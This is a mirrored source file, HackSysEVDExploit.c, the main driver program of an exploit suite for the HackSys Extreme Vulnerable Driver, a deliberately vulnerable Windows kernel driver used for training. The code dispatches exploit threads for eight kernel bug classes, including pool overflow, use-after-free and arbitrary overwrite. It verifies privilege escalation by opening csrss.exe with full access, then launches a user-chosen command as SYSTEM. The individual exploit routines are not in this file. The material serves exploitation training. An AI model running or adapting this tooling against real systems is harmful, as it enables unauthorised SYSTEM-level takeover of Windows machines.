mirror of
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
synced 2026-06-08 14:31:02 +00:00
Ashfaq Ansari
307 lines
12 KiB
C
307 lines
12 KiB
C
/*++
|
|
|
|
## ## ######## ## ## ########
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
######### ###### ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ######## ### ########
|
|
|
|
HackSys Extreme Vulnerable Driver Exploit
|
|
|
|
Author : Ashfaq Ansari
|
|
Contact: ashfaq[at]payatu[dot]com
|
|
Website: http://www.payatu.com/
|
|
|
|
Copyright (C) 2011-2015 Payatu Technologies. All rights reserved.
|
|
|
|
This program is free software: you can redistribute it and/or modify
|
|
it under the terms of the GNU General Public License as published by
|
|
the Free Software Foundation, either version 3 of the License, or
|
|
(at your option) any later version.
|
|
|
|
This program is distributed in the hope that it will be useful,
|
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
GNU General Public License for more details.
|
|
|
|
You should have received a copy of the GNU General Public License
|
|
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
|
|
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
|
|
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS
|
|
OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
|
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
|
|
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
|
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
|
|
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
|
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
|
|
See the file 'LICENSE' for complete copying permission.
|
|
|
|
Module Name:
|
|
HackSysEVDExploit.c
|
|
|
|
Abstract:
|
|
This module implements the main routines to invoke
|
|
exploit for respective vulnerabilities.
|
|
|
|
TODO:
|
|
1. This exploit has only been designed for Windows 7 x86,
|
|
add support for x64.
|
|
2. Port the exploit to work on Windows 8.1/10, I know Null
|
|
Pointer Deference bug will be eliminated.
|
|
3. Test on multiple systems to determine reliability.
|
|
|
|
--*/
|
|
|
|
#include "HackSysEVDExploit.h"
|
|
|
|
CHAR *argv0;
|
|
|
|
static VOID ShowUsage(PTCHAR argv0) {
|
|
DEBUG_ERROR(" \n"
|
|
" Usage: %s [option] -c [process to launch] \n"
|
|
" \n"
|
|
" %s -a cmd.exe \n"
|
|
" \n"
|
|
" [option] \n"
|
|
" -p : Pool Overflow \n"
|
|
" -s : Stack Overflow \n"
|
|
" -u : Use After Free \n"
|
|
" -t : Type Confusion \n"
|
|
" -i : Integer Overflow \n"
|
|
" -g : Stack Overflow GS \n"
|
|
" -n : Null Pointer Dereference \n"
|
|
" -a : Arbitrary Memory Overwrite \n"
|
|
" \n", argv0, argv0);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
VOID LaunchExploitThread(LPTHREAD_START_ROUTINE lpExploitHandlerThread) {
|
|
HANDLE hThread = NULL;
|
|
DWORD threadTimeout = 0x50000;
|
|
|
|
// Create a new thread
|
|
DEBUG_MESSAGE("\t[+] Creating The Exploit Thread\n");
|
|
hThread = CreateThread(NULL, 0, lpExploitHandlerThread, NULL, 0, 0);
|
|
|
|
if (!hThread) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Create Exploit Thread: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t[+] Exploit Thread Handle: 0x%X\n", hThread);
|
|
}
|
|
|
|
if (WaitForSingleObject(hThread, threadTimeout)) {
|
|
// Terminate the thread
|
|
TerminateThread(hThread, EXIT_FAILURE);
|
|
DEBUG_INFO("\t\t[+] Terminated Exploit Thread: 0x%X\n", hThread);
|
|
}
|
|
}
|
|
|
|
BOOL IsProcessHavingHigherPrivilege(LPCSTR processToOpen) {
|
|
DWORD processID = 0;
|
|
HANDLE hProcess = NULL;
|
|
BOOL isHighPrivileged = FALSE;
|
|
|
|
DEBUG_MESSAGE("\t[+] Trying To Get Process ID Of: %s\n", processToOpen);
|
|
|
|
processID = GetProcessID(processToOpen);
|
|
|
|
if (!processID) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Get Process ID Of: %s\n", processToOpen);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t[+] Process ID Of %s: %d\n", processToOpen, processID);
|
|
}
|
|
|
|
DEBUG_MESSAGE("\t[+] Trying To Open %s With PROCESS_ALL_ACCESS\n", processToOpen, processID);
|
|
|
|
// open the process to check the privilege level, if we are able
|
|
// to open any SYSTEM process, this means we have successfully
|
|
// elevated current process privileges
|
|
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
|
|
|
|
if (!hProcess) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Open %s Process: 0x%X\n", processToOpen, GetLastError());
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t[+] Process Handle Of %s: 0x%X\n", processToOpen, hProcess);
|
|
isHighPrivileged = TRUE;
|
|
}
|
|
|
|
return isHighPrivileged;
|
|
}
|
|
|
|
VOID Exploit(PEXPLOIT_VULNERABILITY pExploitVulnerability) {
|
|
DOUBLE elapsedTime = 0;
|
|
TIME startTime, finishTime;
|
|
STARTUPINFO startupInfo = {0};
|
|
PROCESS_INFORMATION processInformation = {0};
|
|
VULNERABILITY_TYPE vulnerabilityType = pExploitVulnerability->VulnerabilityType;
|
|
|
|
// Log the start time
|
|
startTime = time(NULL);
|
|
|
|
// Determine type of vulnerability to exploit
|
|
switch (vulnerabilityType) {
|
|
case PoolOverflow:
|
|
DEBUG_MESSAGE("[+] Starting Pool Overflow Exploitation\n");
|
|
LaunchExploitThread(&PoolOverflowThread);
|
|
DEBUG_MESSAGE("[+] Completed Pool Overflow Exploitation\n");
|
|
break;
|
|
case UseAfterFree:
|
|
DEBUG_MESSAGE("[+] Starting Use After Free Exploitation\n");
|
|
LaunchExploitThread(&UseAfterFreeThread);
|
|
DEBUG_MESSAGE("[+] Completed Use After Free Exploitation\n");
|
|
break;
|
|
case TypeConfusion:
|
|
DEBUG_MESSAGE("[+] Starting Type Confusion Exploitation\n");
|
|
LaunchExploitThread(&TypeConfusionThread);
|
|
DEBUG_MESSAGE("[+] Completed Type Confusion Exploitation\n");
|
|
break;
|
|
case StackOverflow:
|
|
DEBUG_MESSAGE("[+] Starting Stack Overflow Exploitation\n");
|
|
LaunchExploitThread(&StackOverflowThread);
|
|
DEBUG_MESSAGE("[+] Completed Stack Overflow Exploitation\n");
|
|
break;
|
|
case IntegerOverflow:
|
|
DEBUG_MESSAGE("[+] Starting Integer Overflow Exploitation\n");
|
|
LaunchExploitThread(&IntegerOverflowThread);
|
|
DEBUG_MESSAGE("[+] Completed Integer Overflow Exploitation\n");
|
|
break;
|
|
case StackOverflowGS:
|
|
DEBUG_MESSAGE("[+] Starting Stack Overflow GS Exploitation\n");
|
|
LaunchExploitThread(&StackOverflowGSThread);
|
|
DEBUG_MESSAGE("[+] Completed Stack Overflow GS Exploitation\n");
|
|
break;
|
|
case ArbitraryOverwrite:
|
|
DEBUG_MESSAGE("[+] Starting Arbitrary Memory Overwrite Exploitation\n");
|
|
LaunchExploitThread(&ArbitraryOverwriteThread);
|
|
DEBUG_MESSAGE("[+] Completed Arbitrary Memory Overwrite Exploitation\n");
|
|
break;
|
|
case NullPointerDereference:
|
|
DEBUG_MESSAGE("[+] Starting Null Pointer Dereference Exploitation\n");
|
|
LaunchExploitThread(&NullPointerDereferenceThread);
|
|
DEBUG_MESSAGE("[+] Completed Null Pointer Dereference Exploitation\n");
|
|
break;
|
|
}
|
|
|
|
DEBUG_MESSAGE("[+] Checking Current Process Privileges\n");
|
|
|
|
// verify if the privilege escalation was successful
|
|
if (!IsProcessHavingHigherPrivilege("csrss.exe")) {
|
|
DEBUG_ERROR("\t[-] Failed To Elevate Privileges Of Current Process\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_MESSAGE("\t[+] Successfully Elevated Current Process Privileges\n");
|
|
}
|
|
|
|
startupInfo.wShowWindow = SW_SHOW;
|
|
startupInfo.cb = sizeof(STARTUPINFO);
|
|
startupInfo.dwFlags = STARTF_USESHOWWINDOW;
|
|
|
|
// Log the finish time
|
|
finishTime = time(NULL);
|
|
|
|
// Calculate the elapsed time
|
|
elapsedTime = difftime(finishTime, startTime);
|
|
|
|
DEBUG_MESSAGE("[+] Enjoy As SYSTEM [%f]s\n\n", elapsedTime);
|
|
|
|
if (!CreateProcess(NULL,
|
|
pExploitVulnerability->Command,
|
|
NULL,
|
|
NULL,
|
|
FALSE,
|
|
CREATE_NEW_CONSOLE,
|
|
NULL,
|
|
NULL,
|
|
&startupInfo,
|
|
&processInformation)) {
|
|
DEBUG_ERROR("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
WaitForSingleObject(processInformation.hProcess, INFINITE);
|
|
|
|
// Close the open handles
|
|
CloseHandle(processInformation.hThread);
|
|
CloseHandle(processInformation.hProcess);
|
|
}
|
|
|
|
|
|
INT main(UINT argc, PTCHAR argv[]) {
|
|
CONST PTCHAR banner =
|
|
"\t\t \t\n"
|
|
"\t\t ## ## ######## ## ## ######## \t\n"
|
|
"\t\t ## ## ## ## ## ## ## \t\n"
|
|
"\t\t ## ## ## ## ## ## ## \t\n"
|
|
"\t\t ######### ###### ## ## ## ## \t\n"
|
|
"\t\t ## ## ## ## ## ## ## \t\n"
|
|
"\t\t ## ## ## ## ## ## ## \t\n"
|
|
"\t\t ## ## ######## ### ######## \t\n"
|
|
"\t\t \t\n"
|
|
"\t\t HackSys Extreme Vulnerable Driver Exploits \t\n"
|
|
"\t\t Ashfaq Ansari (@HackSysTeam) \t\n"
|
|
"\t\t ashfaq[at]payatu[dot]com \t\n"
|
|
"\t\t \t\n";
|
|
|
|
PTCHAR commandToExecute = NULL;
|
|
EXPLOIT_VULNERABILITY exploitVulnerability;
|
|
|
|
ClearScreen();
|
|
CenterConsoleScreen();
|
|
|
|
// Print the banner
|
|
DEBUG_SUCCESS(banner);
|
|
|
|
if (argc < 3) {
|
|
ShowUsage(argv[0]);
|
|
}
|
|
|
|
// Parse the command line arguments
|
|
ARGBEGIN {
|
|
case 'p':
|
|
exploitVulnerability.VulnerabilityType = PoolOverflow;
|
|
break;
|
|
case 'u':
|
|
exploitVulnerability.VulnerabilityType = UseAfterFree;
|
|
break;
|
|
case 't':
|
|
exploitVulnerability.VulnerabilityType = TypeConfusion;
|
|
break;
|
|
case 's':
|
|
exploitVulnerability.VulnerabilityType = StackOverflow;
|
|
break;
|
|
case 'i':
|
|
exploitVulnerability.VulnerabilityType = IntegerOverflow;
|
|
break;
|
|
case 'g':
|
|
exploitVulnerability.VulnerabilityType = StackOverflowGS;
|
|
break;
|
|
case 'a':
|
|
exploitVulnerability.VulnerabilityType = ArbitraryOverwrite;
|
|
break;
|
|
case 'n':
|
|
exploitVulnerability.VulnerabilityType = NullPointerDereference;
|
|
break;
|
|
case 'c':
|
|
exploitVulnerability.Command = EARGF(ShowUsage(argv[0]));
|
|
break;
|
|
default:
|
|
ShowUsage(argv[0]);
|
|
} ARGEND;
|
|
|
|
// Start the exploitation
|
|
Exploit(&exploitVulnerability);
|
|
|
|
return EXIT_SUCCESS;
|
|
}
|